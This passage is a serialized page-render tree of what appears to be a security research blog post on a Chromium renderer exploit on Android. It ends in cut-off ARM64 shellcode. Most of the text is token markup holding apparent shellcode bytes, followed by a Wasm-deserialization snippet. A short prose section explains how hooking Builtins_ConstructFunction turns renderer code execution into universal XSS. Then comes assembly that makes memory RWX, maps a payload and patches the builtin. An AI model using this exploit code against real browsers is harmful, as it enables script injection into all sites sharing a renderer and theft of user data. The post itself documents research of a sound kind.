"type":27,"value":257},{"type":21,"tag":198,"props":138832,"children":138833},{"class":200,"line":386},[138834,138838,138842,138846,138850,138854,138858,138862,138866,138870,138874,138878,138882,138886,138890,138894,138898,138902,138906,138910,138914,138918,138922,138926,138930,138934,138938,138942,138946,138950,138954,138958,138962,138967,138971,138976,138980,138984,138988,138993,138997,139001,139005,139009,139013,139017,139021,139026,139030,139034,139038,139043,139047,139051],{"type":21,"tag":198,"props":138835,"children":138836},{"style":2540},[138837],{"type":27,"value":134579},{"type":21,"tag":198,"props":138839,"children":138840},{"style":211},[138841],{"type":27,"value":828},{"type":21,"tag":198,"props":138843,"children":138844},{"style":2540},[138845],{"type":27,"value":3482},{"type":21,"tag":198,"props":138847,"children":138848},{"style":211},[138849],{"type":27,"value":828},{"type":21,"tag":198,"props":138851,"children":138852},{"style":2540},[138853],{"type":27,"value":3482},{"type":21,"tag":198,"props":138855,"children":138856},{"style":211},[138857],{"type":27,"value":828},{"type":21,"tag":198,"props":138859,"children":138860},{"style":2540},[138861],{"type":27,"value":3482},{"type":21,"tag":198,"props":138863,"children":138864},{"style":211},[138865],{"type":27,"value":828},{"type":21,"tag":198,"props":138867,"children":138868},{"style":2540},[138869],{"type":27,"value":3482},{"type":21,"tag":198,"props":138871,"children":138872},{"style":211},[138873],{"type":27,"value":828},{"type":21,"tag":198,"props":138875,"children":138876},{"style":2540},[138877],{"type":27,"value":3482},{"type":21,"tag":198,"props":138879,"children":138880},{"style":211},[138881],{"type":27,"value":828},{"type":21,"tag":198,"props":138883,"children":138884},{"style":2540},[138885],{"type":27,"value":3482},{"type":21,"tag":198,"props":138887,"children":138888},{"style":211},[138889],{"type":27,"value":828},{"type":21,"tag":198,"props":138891,"children":138892},{"style":2540},[138893],{"type":27,"value":3482},{"type":21,"tag":198,"props":138895,"children":138896},{"style":211},[138897],{"type":27,"value":828},{"type":21,"tag":198,"props":138899,"children":138900},{"style":2540},[138901],{"type":27,"value":3482},{"type":21,"tag":198,"props":138903,"children":138904},{"style":211},[138905],{"type":27,"value":828},{"type":21,"tag":198,"props":138907,"children":138908},{"style":2540},[138909],{"type":27,"value":3482},{"type":21,"tag":198,"props":138911,"children":138912},{"style":211},[138913],{"type":27,"value":828},{"type":21,"tag":198,"props":138915,"children":138916},{"style":2540},[138917],{"type":27,"value":3482},{"type":21,"tag":198,"props":138919,"children":138920},{"style":211},[138921],{"type":27,"value":828},{"type":21,"tag":198,"props":138923,"children":138924},{"style":2540},[138925],{"type":27,"value":3482},{"type":21,"tag":198,"props":138927,"children":138928},{"style":211},[138929],{"type":27,"value":828},{"type":21,"tag":198,"props":138931,"children":138932},{"style":2540},[138933],{"type":27,"value":3482},{"type":21,"tag":198,"props":138935,"children":138936},{"style":211},[138937],{"type":27,"value":828},{"type":21,"tag":198,"props":138939,"children":138940},{"style":2540},[138941],{"type":27,"value":3482},{"type":21,"tag":198,"props":138943,"children":138944},{"style":211},[138945],{"type":27,"value":828},{"type":21,"tag":198,"props":138947,"children":138948},{"style":2540},[138949],{"type":27,"value":3482},{"type":21,"tag":198,"props":138951,"children":138952},{"style":211},[138953],{"type":27,"value":828},{"type":21,"tag":198,"props":138955,"children":138956},{"style":2540},[138957],{"type":27,"value":3931},{"type":21,"tag":198,"props":138959,"children":138960},{"style":211},[138961],{"type":27,"value":828},{"type":21,"tag":198,"props":138963,"children":138964},{"style":2540},[138965],{"type":27,"value":138966},"95",{"type":21,"tag":198,"props":138968,"children":138969},{"style":211},[138970],{"type":27,"value":828},{"type":21,"tag":198,"props":138972,"children":138973},{"style":2540},[138974],{"type":27,"value":138975},"36",{"type":21,"tag":198,"props":138977,"children":138978},{"style":211},[138979],{"type":27,"value":828},{"type":21,"tag":198,"props":138981,"children":138982},{"style":2540},[138983],{"type":27,"value":18097},{"type":21,"tag":198,"props":138985,"children":138986},{"style":211},[138987],{"type":27,"value":828},{"type":21,"tag":198,"props":138989,"children":138990},{"style":2540},[138991],{"type":27,"value":138992},"213",{"type":21,"tag":198,"props":138994,"children":138995},{"style":211},[138996],{"type":27,"value":828},{"type":21,"tag":198,"props":138998,"children":138999},{"style":2540},[139000],{"type":27,"value":41600},{"type":21,"tag":198,"props":139002,"children":139003},{"style":211},[139004],{"type":27,"value":828},{"type":21,"tag":198,"props":139006,"children":139007},{"style":2540},[139008],{"type":27,"value":134},{"type":21,"tag":198,"props":139010,"children":139011},{"style":211},[139012],{"type":27,"value":828},{"type":21,"tag":198,"props":139014,"children":139015},{"style":2540},[139016],{"type":27,"value":30648},{"type":21,"tag":198,"props":139018,"children":139019},{"style":211},[139020],{"type":27,"value":828},{"type":21,"tag":198,"props":139022,"children":139023},{"style":2540},[139024],{"type":27,"value":139025},"210",{"type":21,"tag":198,"props":139027,"children":139028},{"style":211},[139029],{"type":27,"value":828},{"type":21,"tag":198,"props":139031,"children":139032},{"style":2540},[139033],{"type":27,"value":134972},{"type":21,"tag":198,"props":139035,"children":139036},{"style":211},[139037],{"type":27,"value":828},{"type":21,"tag":198,"props":139039,"children":139040},{"style":2540},[139041],{"type":27,"value":139042},"35",{"type":21,"tag":198,"props":139044,"children":139045},{"style":211},[139046],{"type":27,"value":828},{"type":21,"tag":198,"props":139048,"children":139049},{"style":2540},[139050],{"type":27,"value":18097},{"type":21,"tag":198,"props":139052,"children":139053},{"style":211},[139054],{"type":27,"value":257},{"type":21,"tag":198,"props":139056,"children":139057},{"class":200,"line":408},[139058,139063,139067,139072,139076,139081,139085,139090,139094,139099,139103,139108,139112,139117,139121,139125,139129,139133,139137,139141,139145,139149,139153,139157,139161,139166,139170,139175,139179,139183,139187,139191,139195,139199,139203,139207,139211,139215,139219,139224,139228,139233],{"type":21,"tag":198,"props":139059,"children":139060},{"style":2540},[139061],{"type":27,"value":139062}," 213",{"type":21,"tag":198,"props":139064,"children":139065},{"style":211},[139066],{"type":27,"value":828},{"type":21,"tag":198,"props":139068,"children":139069},{"style":2540},[139070],{"type":27,"value":139071},"231",{"type":21,"tag":198,"props":139073,"children":139074},{"style":211},[139075],{"type":27,"value":828},{"type":21,"tag":198,"props":139077,"children":139078},{"style":2540},[139079],{"type":27,"value":139080},"67",{"type":21,"tag":198,"props":139082,"children":139083},{"style":211},[139084],{"type":27,"value":828},{"type":21,"tag":198,"props":139086,"children":139087},{"style":2540},[139088],{"type":27,"value":139089},"190",{"type":21,"tag":198,"props":139091,"children":139092},{"style":211},[139093],{"type":27,"value":828},{"type":21,"tag":198,"props":139095,"children":139096},{"style":2540},[139097],{"type":27,"value":139098},"169",{"type":21,"tag":198,"props":139100,"children":139101},{"style":211},[139102],{"type":27,"value":828},{"type":21,"tag":198,"props":139104,"children":139105},{"style":2540},[139106],{"type":27,"value":139107},"253",{"type":21,"tag":198,"props":139109,"children":139110},{"style":211},[139111],{"type":27,"value":828},{"type":21,"tag":198,"props":139113,"children":139114},{"style":2540},[139115],{"type":27,"value":139116},"123",{"type":21,"tag":198,"props":139118,"children":139119},{"style":211},[139120],{"type":27,"value":828},{"type":21,"tag":198,"props":139122,"children":139123},{"style":2540},[139124],{"type":27,"value":134},{"type":21,"tag":198,"props":139126,"children":139127},{"style":211},[139128],{"type":27,"value":828},{"type":21,"tag":198,"props":139130,"children":139131},{"style":2540},[139132],{"type":27,"value":139098},{"type":21,"tag":198,"props":139134,"children":139135},{"style":211},[139136],{"type":27,"value":828},{"type":21,"tag":198,"props":139138,"children":139139},{"style":2540},[139140],{"type":27,"value":139107},{"type":21,"tag":198,"props":139142,"children":139143},{"style":211},[139144],{"type":27,"value":828},{"type":21,"tag":198,"props":139146,"children":139147},{"style":2540},[139148],{"type":27,"value":139080},{"type":21,"tag":198,"props":139150,"children":139151},{"style":211},[139152],{"type":27,"value":828},{"type":21,"tag":198,"props":139154,"children":139155},{"style":2540},[139156],{"type":27,"value":3482},{"type":21,"tag":198,"props":139158,"children":139159},{"style":211},[139160],{"type":27,"value":828},{"type":21,"tag":198,"props":139162,"children":139163},{"style":2540},[139164],{"type":27,"value":139165},"145",{"type":21,"tag":198,"props":139167,"children":139168},{"style":211},[139169],{"type":27,"value":828},{"type":21,"tag":198,"props":139171,"children":139172},{"style":2540},[139173],{"type":27,"value":139174},"191",{"type":21,"tag":198,"props":139176,"children":139177},{"style":211},[139178],{"type":27,"value":828},{"type":21,"tag":198,"props":139180,"children":139181},{"style":2540},[139182],{"type":27,"value":18097},{"type":21,"tag":198,"props":139184,"children":139185},{"style":211},[139186],{"type":27,"value":828},{"type":21,"tag":198,"props":139188,"children":139189},{"style":2540},[139190],{"type":27,"value":3482},{"type":21,"tag":198,"props":139192,"children":139193},{"style":211},[139194],{"type":27,"value":828},{"type":21,"tag":198,"props":139196,"children":139197},{"style":2540},[139198],{"type":27,"value":139165},{"type":21,"tag":198,"props":139200,"children":139201},{"style":211},[139202],{"type":27,"value":828},{"type":21,"tag":198,"props":139204,"children":139205},{"style":2540},[139206],{"type":27,"value":139107},{"type":21,"tag":198,"props":139208,"children":139209},{"style":211},[139210],{"type":27,"value":828},{"type":21,"tag":198,"props":139212,"children":139213},{"style":2540},[139214],{"type":27,"value":139116},{"type":21,"tag":198,"props":139216,"children":139217},{"style":211},[139218],{"type":27,"value":828},{"type":21,"tag":198,"props":139220,"children":139221},{"style":2540},[139222],{"type":27,"value":139223},"193",{"type":21,"tag":198,"props":139225,"children":139226},{"style":211},[139227],{"type":27,"value":828},{"type":21,"tag":198,"props":139229,"children":139230},{"style":2540},[139231],{"type":27,"value":139232},"168",{"type":21,"tag":198,"props":139234,"children":139235},{"style":211},[139236],{"type":27,"value":257},{"type":21,"tag":198,"props":139238,"children":139239},{"class":200,"line":429},[139240,139245,139249,139253,139257,139261,139265,139269,139273,139277,139281,139285,139289,139293,139297,139302,139306,139310,139314,139318,139322,139326,139330,139334,139338,139342,139346,139350,139354,139358,139362,139366,139370,139374,139378,139382,139386,139390,139394,139398,139402,139406,139410,139414,139418,139422,139426,139430,139434,139438,139442,139446,139450,139454],{"type":21,"tag":198,"props":139241,"children":139242},{"style":2540},[139243],{"type":27,"value":139244}," 255",{"type":21,"tag":198,"props":139246,"children":139247},{"style":211},[139248],{"type":27,"value":828},{"type":21,"tag":198,"props":139250,"children":139251},{"style":2540},[139252],{"type":27,"value":139042},{"type":21,"tag":198,"props":139254,"children":139255},{"style":211},[139256],{"type":27,"value":828},{"type":21,"tag":198,"props":139258,"children":139259},{"style":2540},[139260],{"type":27,"value":18097},{"type":21,"tag":198,"props":139262,"children":139263},{"style":211},[139264],{"type":27,"value":828},{"type":21,"tag":198,"props":139266,"children":139267},{"style":2540},[139268],{"type":27,"value":138992},{"type":21,"tag":198,"props":139270,"children":139271},{"style":211},[139272],{"type":27,"value":828},{"type":21,"tag":198,"props":139274,"children":139275},{"style":2540},[139276],{"type":27,"value":134927},{"type":21,"tag":198,"props":139278,"children":139279},{"style":211},[139280],{"type":27,"value":828},{"type":21,"tag":198,"props":139282,"children":139283},{"style":2540},[139284],{"type":27,"value":18097},{"type":21,"tag":198,"props":139286,"children":139287},{"style":211},[139288],{"type":27,"value":828},{"type":21,"tag":198,"props":139290,"children":139291},{"style":2540},[139292],{"type":27,"value":138966},{"type":21,"tag":198,"props":139294,"children":139295},{"style":211},[139296],{"type":27,"value":828},{"type":21,"tag":198,"props":139298,"children":139299},{"style":2540},[139300],{"type":27,"value":139301},"214",{"type":21,"tag":198,"props":139303,"children":139304},{"style":211},[139305],{"type":27,"value":828},{"type":21,"tag":198,"props":139307,"children":139308},{"style":2540},[139309],{"type":27,"value":97049},{"type":21,"tag":198,"props":139311,"children":139312},{"style":211},[139313],{"type":27,"value":828},{"type":21,"tag":198,"props":139315,"children":139316},{"style":2540},[139317],{"type":27,"value":60724},{"type":21,"tag":198,"props":139319,"children":139320},{"style":211},[139321],{"type":27,"value":828},{"type":21,"tag":198,"props":139323,"children":139324},{"style":2540},[139325],{"type":27,"value":18097},{"type":21,"tag":198,"props":139327,"children":139328},{"style":211},[139329],{"type":27,"value":828},{"type":21,"tag":198,"props":139331,"children":139332},{"style":2540},[139333],{"type":27,"value":138992},{"type":21,"tag":198,"props":139335,"children":139336},{"style":211},[139337],{"type":27,"value":828},{"type":21,"tag":198,"props":139339,"children":139340},{"style":2540},[139341],{"type":27,"value":18330},{"type":21,"tag":198,"props":139343,"children":139344},{"style":211},[139345],{"type":27,"value":828},{"type":21,"tag":198,"props":139347,"children":139348},{"style":2540},[139349],{"type":27,"value":3482},{"type":21,"tag":198,"props":139351,"children":139352},{"style":211},[139353],{"type":27,"value":828},{"type":21,"tag":198,"props":139355,"children":139356},{"style":2540},[139357],{"type":27,"value":3482},{"type":21,"tag":198,"props":139359,"children":139360},{"style":211},[139361],{"type":27,"value":828},{"type":21,"tag":198,"props":139363,"children":139364},{"style":2540},[139365],{"type":27,"value":3482},{"type":21,"tag":198,"props":139367,"children":139368},{"style":211},[139369],{"type":27,"value":828},{"type":21,"tag":198,"props":139371,"children":139372},{"style":2540},[139373],{"type":27,"value":3482},{"type":21,"tag":198,"props":139375,"children":139376},{"style":211},[139377],{"type":27,"value":828},{"type":21,"tag":198,"props":139379,"children":139380},{"style":2540},[139381],{"type":27,"value":3482},{"type":21,"tag":198,"props":139383,"children":139384},{"style":211},[139385],{"type":27,"value":828},{"type":21,"tag":198,"props":139387,"children":139388},{"style":2540},[139389],{"type":27,"value":3482},{"type":21,"tag":198,"props":139391,"children":139392},{"style":211},[139393],{"type":27,"value":828},{"type":21,"tag":198,"props":139395,"children":139396},{"style":2540},[139397],{"type":27,"value":3482},{"type":21,"tag":198,"props":139399,"children":139400},{"style":211},[139401],{"type":27,"value":828},{"type":21,"tag":198,"props":139403,"children":139404},{"style":2540},[139405],{"type":27,"value":3482},{"type":21,"tag":198,"props":139407,"children":139408},{"style":211},[139409],{"type":27,"value":828},{"type":21,"tag":198,"props":139411,"children":139412},{"style":2540},[139413],{"type":27,"value":18330},{"type":21,"tag":198,"props":139415,"children":139416},{"style":211},[139417],{"type":27,"value":828},{"type":21,"tag":198,"props":139419,"children":139420},{"style":2540},[139421],{"type":27,"value":3482},{"type":21,"tag":198,"props":139423,"children":139424},{"style":211},[139425],{"type":27,"value":828},{"type":21,"tag":198,"props":139427,"children":139428},{"style":2540},[139429],{"type":27,"value":3482},{"type":21,"tag":198,"props":139431,"children":139432},{"style":211},[139433],{"type":27,"value":828},{"type":21,"tag":198,"props":139435,"children":139436},{"style":2540},[139437],{"type":27,"value":3482},{"type":21,"tag":198,"props":139439,"children":139440},{"style":211},[139441],{"type":27,"value":828},{"type":21,"tag":198,"props":139443,"children":139444},{"style":2540},[139445],{"type":27,"value":3482},{"type":21,"tag":198,"props":139447,"children":139448},{"style":211},[139449],{"type":27,"value":828},{"type":21,"tag":198,"props":139451,"children":139452},{"style":2540},[139453],{"type":27,"value":3482},{"type":21,"tag":198,"props":139455,"children":139456},{"style":211},[139457],{"type":27,"value":257},{"type":21,"tag":198,"props":139459,"children":139460},{"class":200,"line":450},[139461,139465,139469,139473,139477,139481,139485,139489,139493,139497,139501,139506,139510,139515,139519,139524,139528,139532],{"type":21,"tag":198,"props":139462,"children":139463},{"style":2540},[139464],{"type":27,"value":134579},{"type":21,"tag":198,"props":139466,"children":139467},{"style":211},[139468],{"type":27,"value":828},{"type":21,"tag":198,"props":139470,"children":139471},{"style":2540},[139472],{"type":27,"value":3482},{"type":21,"tag":198,"props":139474,"children":139475},{"style":211},[139476],{"type":27,"value":828},{"type":21,"tag":198,"props":139478,"children":139479},{"style":2540},[139480],{"type":27,"value":3482},{"type":21,"tag":198,"props":139482,"children":139483},{"style":211},[139484],{"type":27,"value":828},{"type":21,"tag":198,"props":139486,"children":139487},{"style":2540},[139488],{"type":27,"value":3482},{"type":21,"tag":198,"props":139490,"children":139491},{"style":211},[139492],{"type":27,"value":828},{"type":21,"tag":198,"props":139494,"children":139495},{"style":2540},[139496],{"type":27,"value":3482},{"type":21,"tag":198,"props":139498,"children":139499},{"style":211},[139500],{"type":27,"value":828},{"type":21,"tag":198,"props":139502,"children":139503},{"style":2540},[139504],{"type":27,"value":139505},"92",{"type":21,"tag":198,"props":139507,"children":139508},{"style":211},[139509],{"type":27,"value":828},{"type":21,"tag":198,"props":139511,"children":139512},{"style":2540},[139513],{"type":27,"value":139514},"50",{"type":21,"tag":198,"props":139516,"children":139517},{"style":211},[139518],{"type":27,"value":828},{"type":21,"tag":198,"props":139520,"children":139521},{"style":2540},[139522],{"type":27,"value":139523},"162",{"type":21,"tag":198,"props":139525,"children":139526},{"style":211},[139527],{"type":27,"value":828},{"type":21,"tag":198,"props":139529,"children":139530},{"style":2540},[139531],{"type":27,"value":3482},{"type":21,"tag":198,"props":139533,"children":139534},{"style":211},[139535],{"type":27,"value":257},{"type":21,"tag":198,"props":139537,"children":139538},{"class":200,"line":468},[139539],{"type":21,"tag":198,"props":139540,"children":139541},{"style":211},[139542],{"type":27,"value":134866},{"type":21,"tag":198,"props":139544,"children":139545},{"class":200,"line":477},[139546,139550,139554,139558,139562,139566,139570,139574,139578,139582,139586],{"type":21,"tag":198,"props":139547,"children":139548},{"style":249},[139549],{"type":27,"value":1023},{"type":21,"tag":198,"props":139551,"children":139552},{"style":226},[139553],{"type":27,"value":136319},{"type":21,"tag":198,"props":139555,"children":139556},{"style":683},[139557],{"type":27,"value":979},{"type":21,"tag":198,"props":139559,"children":139560},{"style":698},[139561],{"type":27,"value":136328},{"type":21,"tag":198,"props":139563,"children":139564},{"style":211},[139565],{"type":27,"value":706},{"type":21,"tag":198,"props":139567,"children":139568},{"style":226},[139569],{"type":27,"value":134197},{"type":21,"tag":198,"props":139571,"children":139572},{"style":211},[139573],{"type":27,"value":828},{"type":21,"tag":198,"props":139575,"children":139576},{"style":226},[139577],{"type":27,"value":125524},{"type":21,"tag":198,"props":139579,"children":139580},{"style":211},[139581],{"type":27,"value":658},{"type":21,"tag":198,"props":139583,"children":139584},{"style":226},[139585],{"type":27,"value":125524},{"type":21,"tag":198,"props":139587,"children":139588},{"style":211},[139589],{"type":27,"value":1470},{"type":21,"tag":198,"props":139591,"children":139592},{"class":200,"line":494},[139593,139597,139601,139605,139609,139613,139617,139621,139625,139629],{"type":21,"tag":198,"props":139594,"children":139595},{"style":226},[139596],{"type":27,"value":136364},{"type":21,"tag":198,"props":139598,"children":139599},{"style":683},[139600],{"type":27,"value":979},{"type":21,"tag":198,"props":139602,"children":139603},{"style":211},[139604],{"type":27,"value":648},{"type":21,"tag":198,"props":139606,"children":139607},{"style":640},[139608],{"type":27,"value":33695},{"type":21,"tag":198,"props":139610,"children":139611},{"style":226},[139612],{"type":27,"value":136319},{"type":21,"tag":198,"props":139614,"children":139615},{"style":211},[139616],{"type":27,"value":658},{"type":21,"tag":198,"props":139618,"children":139619},{"style":698},[139620],{"type":27,"value":57942},{"type":21,"tag":198,"props":139622,"children":139623},{"style":211},[139624],{"type":27,"value":136393},{"type":21,"tag":198,"props":139626,"children":139627},{"style":226},[139628],{"type":27,"value":39910},{"type":21,"tag":198,"props":139630,"children":139631},{"style":211},[139632],{"type":27,"value":1483},{"type":21,"tag":198,"props":139634,"children":139635},{"class":200,"line":515},[139636,139640,139644,139648,139652,139657,139661,139665],{"type":21,"tag":198,"props":139637,"children":139638},{"style":226},[139639],{"type":27,"value":102326},{"type":21,"tag":198,"props":139641,"children":139642},{"style":211},[139643],{"type":27,"value":658},{"type":21,"tag":198,"props":139645,"children":139646},{"style":698},[139647],{"type":27,"value":102335},{"type":21,"tag":198,"props":139649,"children":139650},{"style":211},[139651],{"type":27,"value":706},{"type":21,"tag":198,"props":139653,"children":139654},{"style":205},[139655],{"type":27,"value":139656},"'DeserializeWasmModule result: '",{"type":21,"tag":198,"props":139658,"children":139659},{"style":683},[139660],{"type":27,"value":1440},{"type":21,"tag":198,"props":139662,"children":139663},{"style":226},[139664],{"type":27,"value":9971},{"type":21,"tag":198,"props":139666,"children":139667},{"style":211},[139668],{"type":27,"value":1470},{"type":21,"tag":198,"props":139670,"children":139671},{"class":200,"line":4484},[139672,139676,139680,139684,139688,139692,139696,139700,139704,139708],{"type":21,"tag":198,"props":139673,"children":139674},{"style":249},[139675],{"type":27,"value":969},{"type":21,"tag":198,"props":139677,"children":139678},{"style":226},[139679],{"type":27,"value":136413},{"type":21,"tag":198,"props":139681,"children":139682},{"style":683},[139683],{"type":27,"value":979},{"type":21,"tag":198,"props":139685,"children":139686},{"style":249},[139687],{"type":27,"value":737},{"type":21,"tag":198,"props":139689,"children":139690},{"style":226},[139691],{"type":27,"value":134180},{"type":21,"tag":198,"props":139693,"children":139694},{"style":211},[139695],{"type":27,"value":658},{"type":21,"tag":198,"props":139697,"children":139698},{"style":698},[139699],{"type":27,"value":134234},{"type":21,"tag":198,"props":139701,"children":139702},{"style":211},[139703],{"type":27,"value":706},{"type":21,"tag":198,"props":139705,"children":139706},{"style":226},[139707],{"type":27,"value":9893},{"type":21,"tag":198,"props":139709,"children":139710},{"style":211},[139711],{"type":27,"value":1470},{"type":21,"tag":198,"props":139713,"children":139714},{"class":200,"line":4493},[139715,139719,139723,139727,139731,139735,139739,139743,139747],{"type":21,"tag":198,"props":139716,"children":139717},{"style":249},[139718],{"type":27,"value":969},{"type":21,"tag":198,"props":139720,"children":139721},{"style":226},[139722],{"type":27,"value":33750},{"type":21,"tag":198,"props":139724,"children":139725},{"style":683},[139726],{"type":27,"value":979},{"type":21,"tag":198,"props":139728,"children":139729},{"style":226},[139730],{"type":27,"value":136413},{"type":21,"tag":198,"props":139732,"children":139733},{"style":211},[139734],{"type":27,"value":658},{"type":21,"tag":198,"props":139736,"children":139737},{"style":226},[139738],{"type":27,"value":1969},{"type":21,"tag":198,"props":139740,"children":139741},{"style":211},[139742],{"type":27,"value":658},{"type":21,"tag":198,"props":139744,"children":139745},{"style":226},[139746],{"type":27,"value":134283},{"type":21,"tag":198,"props":139748,"children":139749},{"style":211},[139750],{"type":27,"value":1483},{"type":21,"tag":198,"props":139752,"children":139753},{"class":200,"line":4561},[139754,139758,139762,139766,139770,139774],{"type":21,"tag":198,"props":139755,"children":139756},{"style":226},[139757],{"type":27,"value":102326},{"type":21,"tag":198,"props":139759,"children":139760},{"style":211},[139761],{"type":27,"value":658},{"type":21,"tag":198,"props":139763,"children":139764},{"style":698},[139765],{"type":27,"value":102335},{"type":21,"tag":198,"props":139767,"children":139768},{"style":211},[139769],{"type":27,"value":706},{"type":21,"tag":198,"props":139771,"children":139772},{"style":226},[139773],{"type":27,"value":33864},{"type":21,"tag":198,"props":139775,"children":139776},{"style":211},[139777],{"type":27,"value":1470},{"type":21,"tag":198,"props":139779,"children":139780},{"class":200,"line":4569},[139781],{"type":21,"tag":198,"props":139782,"children":139783},{"style":211},[139784],{"type":27,"value":102367},{"type":21,"tag":30,"props":139786,"children":139787},{},[139788],{"type":27,"value":139789},"And this time, it works as expected:",{"type":21,"tag":30,"props":139791,"children":139792},{},[139793],{"type":21,"tag":1376,"props":139794,"children":139797},{"alt":139795,"src":139796},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":21,"tag":59,"props":139799,"children":139801},{"id":139800},"achieving-universal-xss",[139802],{"type":27,"value":139803},"Achieving Universal XSS",{"type":21,"tag":30,"props":139805,"children":139806},{},[139807,139809,139815,139817,139824],{"type":27,"value":139808},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":21,"tag":34,"props":139810,"children":139813},{"href":139811,"rel":139812},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[38],[139814],{"type":27,"value":70711},{"type":27,"value":139816}," from Tencent Security and ",{"type":21,"tag":34,"props":139818,"children":139821},{"href":139819,"rel":139820},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[38],[139822],{"type":27,"value":139823},"research article",{"type":27,"value":139825}," from InterruptLabs.",{"type":21,"tag":30,"props":139827,"children":139828},{},[139829,139831,139838],{"type":27,"value":139830},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":21,"tag":34,"props":139832,"children":139835},{"href":139833,"rel":139834},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[38],[139836],{"type":27,"value":139837},"weaker version",{"type":27,"value":139839}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":21,"tag":30,"props":139841,"children":139842},{},[139843,139845,139851],{"type":27,"value":139844},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":21,"tag":194,"props":139846,"children":139848},{"className":139847},[],[139849],{"type":27,"value":139850},"Builtins_ConstructFunction",{"type":27,"value":139852},", making it a natural target.",{"type":21,"tag":30,"props":139854,"children":139855},{},[139856,139858,139863],{"type":27,"value":139857},"Our goal is for ",{"type":21,"tag":194,"props":139859,"children":139861},{"className":139860},[],[139862],{"type":27,"value":139850},{"type":27,"value":139864}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":21,"tag":138,"props":139866,"children":139867},{},[139868,139873,139883],{"type":21,"tag":75,"props":139869,"children":139870},{},[139871],{"type":27,"value":139872},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":21,"tag":75,"props":139874,"children":139875},{},[139876,139878],{"type":27,"value":139877},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":21,"tag":194,"props":139879,"children":139881},{"className":139880},[],[139882],{"type":27,"value":139850},{"type":21,"tag":75,"props":139884,"children":139885},{},[139886,139888,139893],{"type":27,"value":139887},"The mmap-ed shellcode then returns to the beginning of ",{"type":21,"tag":194,"props":139889,"children":139891},{"className":139890},[],[139892],{"type":27,"value":139850},{"type":27,"value":139894},", which now proceeds normally",{"type":21,"tag":30,"props":139896,"children":139897},{},[139898],{"type":27,"value":139899},"The ARM64 shellcode implementing this looks as follows:",{"type":21,"tag":187,"props":139901,"children":139905},{"code":139902,"language":139903,"meta":7,"className":139904,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[139906],{"type":21,"tag":194,"props":139907,"children":139908},{"__ignoreMap":7},[139909,139917,139925,139933,139941,139948,139956,139964,139972,139980,139987,139995,140003,140011,140019,140027,140034,140042,140050,140058,140066,140074,140082,140089,140097,140104,140112,140120,140128,140135,140143,140151,140159,140167,140174,140181,140188,140195,140203,140211,140219,140226,140234,140242,140249,140257,140265,140273,140280,140288,140296,140304,140312,140319,140326,140334],{"type":21,"tag":198,"props":139910,"children":139911},{"class":200,"line":201},[139912],{"type":21,"tag":198,"props":139913,"children":139914},{},[139915],{"type":27,"value":139916},"// get return addr to x0\n",{"type":21,"tag":198,"props":139918,"children":139919},{"class":200,"line":217},[139920],{"type":21,"tag":198,"props":139921,"children":139922},{},[139923],{"type":27,"value":139924},"ldr x0, [sp, #0x18]\n",{"type":21,"tag":198,"props":139926,"children":139927},{"class":200,"line":236},[139928],{"type":21,"tag":198,"props":139929,"children":139930},{},[139931],{"type":27,"value":139932},"// strip pac signature from return address\n",{"type":21,"tag":198,"props":139934,"children":139935},{"class":200,"line":260},[139936],{"type":21,"tag":198,"props":139937,"children":139938},{},[139939],{"type":27,"value":139940},".arch armv8.3-a; xpaci x0\n",{"type":21,"tag":198,"props":139942,"children":139943},{"class":200,"line":281},[139944],{"type":21,"tag":198,"props":139945,"children":139946},{"emptyLinePlaceholder":16},[139947],{"type":27,"value":1283},{"type":21,"tag":198,"props":139949,"children":139950},{"class":200,"line":302},[139951],{"type":21,"tag":198,"props":139952,"children":139953},{},[139954],{"type":27,"value":139955},"// store x5 = Builtins_ConstructFunction\n",{"type":21,"tag":198,"props":139957,"children":139958},{"class":200,"line":323},[139959],{"type":21,"tag":198,"props":139960,"children":139961},{},[139962],{"type":27,"value":139963},"movz x1, #0x610c\n",{"type":21,"tag":198,"props":139965,"children":139966},{"class":200,"line":344},[139967],{"type":21,"tag":198,"props":139968,"children":139969},{},[139970],{"type":27,"value":139971},"sub x0, x0, 